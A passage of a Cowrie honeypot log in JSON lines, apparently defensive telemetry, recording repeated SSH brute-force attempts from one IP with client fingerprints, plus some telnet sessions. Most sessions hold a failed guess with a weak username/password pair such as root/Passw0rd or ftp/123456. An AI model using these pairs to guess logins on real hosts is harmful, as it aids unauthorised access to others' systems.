-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:54.337343Z","src_ip":"91.92.42.227","session":"ddc68ddaa30c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:54.764385Z","src_ip":"91.92.42.227","session":"ddc68ddaa30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:55.905603Z","src_ip":"91.92.42.227","session":"ddc68ddaa30c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.19543194770813,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:57.316255Z","src_ip":"128.199.8.54","session":"a1fd3c1efbd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38060,"dst_ip":"10.17.0.5","dst_port":22,"session":"fca45295c572","protocol":"ssh","message":"New connection: 91.92.42.227:38060 (10.17.0.5:22) [session: fca45295c572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:00.695948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:00.979631Z","src_ip":"91.92.42.227","session":"fca45295c572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:00.982708Z","src_ip":"91.92.42.227","session":"fca45295c572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:01.862434Z","src_ip":"91.92.42.227","session":"fca45295c572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:03.136286Z","src_ip":"91.92.42.227","session":"fca45295c572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42170,"dst_ip":"10.17.0.5","dst_port":22,"session":"10ff8c476ae5","protocol":"ssh","message":"New connection: 91.92.42.227:42170 (10.17.0.5:22) [session: 10ff8c476ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:07.402885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:07.582856Z","src_ip":"91.92.42.227","session":"10ff8c476ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:07.586370Z","src_ip":"91.92.42.227","session":"10ff8c476ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:09.120718Z","src_ip":"91.92.42.227","session":"10ff8c476ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:10.531690Z","src_ip":"91.92.42.227","session":"10ff8c476ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":52328,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbdabc6fd388","protocol":"telnet","message":"New connection: 102.37.220.188:52328 (159.203.135.109:23) [session: dbdabc6fd388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:10.594728Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42274,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a7f12b547f","protocol":"ssh","message":"New connection: 91.92.42.227:42274 (10.17.0.5:22) [session: f3a7f12b547f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:14.339788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:14.621427Z","src_ip":"91.92.42.227","session":"f3a7f12b547f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:14.624796Z","src_ip":"91.92.42.227","session":"f3a7f12b547f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:16.327846Z","src_ip":"91.92.42.227","session":"f3a7f12b547f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:17.764886Z","src_ip":"91.92.42.227","session":"f3a7f12b547f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45800,"dst_ip":"10.17.0.5","dst_port":22,"session":"aad03052dd7e","protocol":"ssh","message":"New connection: 91.92.42.227:45800 (10.17.0.5:22) [session: aad03052dd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:20.762083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:21.214159Z","src_ip":"91.92.42.227","session":"aad03052dd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:21.225140Z","src_ip":"91.92.42.227","session":"aad03052dd7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:24.061925Z","src_ip":"91.92.42.227","session":"aad03052dd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:25.627698Z","src_ip":"91.92.42.227","session":"aad03052dd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38910,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b71a25486d5","protocol":"ssh","message":"New connection: 91.92.42.227:38910 (10.17.0.5:22) [session: 7b71a25486d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:27.665786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:28.036442Z","src_ip":"91.92.42.227","session":"7b71a25486d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:28.062273Z","src_ip":"91.92.42.227","session":"7b71a25486d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:30.405371Z","src_ip":"91.92.42.227","session":"7b71a25486d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:31.954984Z","src_ip":"91.92.42.227","session":"7b71a25486d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.50293970108032,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:32.134406Z","src_ip":"128.199.8.54","session":"b3e28e16c886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38960,"dst_ip":"10.17.0.5","dst_port":22,"session":"adafd0847166","protocol":"ssh","message":"New connection: 91.92.42.227:38960 (10.17.0.5:22) [session: adafd0847166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:34.494395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:35.029113Z","src_ip":"91.92.42.227","session":"adafd0847166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:35.033003Z","src_ip":"91.92.42.227","session":"adafd0847166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:37.597413Z","src_ip":"91.92.42.227","session":"adafd0847166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:39.249732Z","src_ip":"91.92.42.227","session":"adafd0847166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44812,"dst_ip":"10.17.0.5","dst_port":22,"session":"07bf1ca9275c","protocol":"ssh","message":"New connection: 91.92.42.227:44812 (10.17.0.5:22) [session: 07bf1ca9275c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:41.082207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:41.727533Z","src_ip":"91.92.42.227","session":"07bf1ca9275c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:41.730843Z","src_ip":"91.92.42.227","session":"07bf1ca9275c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.73894500732422,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:44.333557Z","src_ip":"102.37.220.188","session":"dbdabc6fd388","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:44.724386Z","src_ip":"91.92.42.227","session":"07bf1ca9275c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:46.510581Z","src_ip":"91.92.42.227","session":"07bf1ca9275c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41688,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d9f0c7ee749","protocol":"ssh","message":"New connection: 91.92.42.227:41688 (10.17.0.5:22) [session: 9d9f0c7ee749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:47.696879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:32:48.457500Z","src_ip":"91.92.42.227","session":"9d9f0c7ee749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","ae